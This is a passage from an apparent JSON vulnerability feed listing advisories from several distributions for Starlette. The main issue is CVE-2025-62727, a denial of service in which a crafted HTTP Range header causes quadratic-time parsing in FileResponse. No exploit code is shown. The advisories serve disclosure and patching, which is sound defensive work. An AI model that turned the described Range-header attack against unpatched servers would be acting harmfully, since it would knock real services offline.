3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.","status":"published","published":"2026-07-07T16:03:08.430192Z","modified":"2026-07-07T17:47:58.859983831Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"ROOT-APP-PYPI-CVE-2025-62727","title":"CVE-2025-62727 in rootio-starlette - Patched by Root","description":"Root has patched CVE-2025-62727 in the rootio-starlette package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-07-14T09:55:21Z","modified":"2026-07-14T15:09:19.031603152Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"UBUNTU-CVE-2025-62727","description":"Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.","status":"published","published":"2025-10-28T21:15:00Z","modified":"2026-10-17T12:57:28.757442456Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:55:50.817402Z"},{"id":"MGASA-2026-0327","title":"Updated python-starlette package fixes security vulnerabilities","description":"The updated package fixes security vulnerabilities:\nProxy-Authorization header kept across hosts. (CVE-2024-28849)\nStarlette vulnerable to O(n^2) DoS via Range header merging in\nstarlette.responses.FileResponse. (CVE-2025-62727)\nSecurity restriction bypass via malformed HTTP Host header.\n(CVE-2026-48710)\n","status":"published","published":"2026-08-09T06:02:53Z","modified":"2026-08-09T06:15:05.185054852Z","updated_at":"2026-11-02T15:49:43.795591Z"},{"id":"openSUSE-SU-2025:15696-1","title":"python311-starlette-0.49.1-1.1 on GA media","description":"These are all security issues fixed in the python311-starlette-0.49.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-11-01T00:00:00Z","modified":"2026-03-23T04:54:06.509235Z","updated_at":"2026-11-02T16:58:37.810934Z"},{"id":"openSUSE-SU-2026:10109-1","title":"python311-sse-starlette-3.2.0-1.1 on GA media","description":"These are all security issues fixed in the python311-sse-starlette-3.2.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-01-28T00:00:00Z","modified":"2026-03-23T04:54:27.464923Z","updated_at":"2026-11-02T16:58:38.101535Z"},{"id":"openSUSE-SU-2026:20975-1","title":"Security update for python-starlette","description":"This update for python-starlette fixes the following issues\n\n- CVE-2025-54121: denial-of-service when parsing a multi-part form with large files (bsc#1246855).\n- CVE-2025-62727: DoS via Range header merging (bsc#1252805).\n- CVE-2026-48710: Missing Host header validation poisons request.url.path, bypassing path-based security checks\n  (bsc#1266369).\n","status":"published","published":"2026-06-17T08:36:30Z","modified":"2026-06-24T18:24:21.192210178Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"SUSE-SU-2026:22151-1","title":"Security update for python-starlette","description":"This update for python-starlette fixes the following issues\n\n- CVE-2025-54121: denial-of-service when parsing a multi-part form with large files (bsc#1246855).\n- CVE-2025-62727: DoS via Range header merging (bsc#1252805).\n- CVE-2026-48710: Missing Host header validation poisons request.url.path, bypassing path-based security checks\n  (bsc#1266369).\n","status":"published","published":"2026-06-17T08:36:56Z","modified":"2026-06-24T18:24:16.488365952Z","updated_at":"2026-11-02T15:54:02.654057Z"}]}}
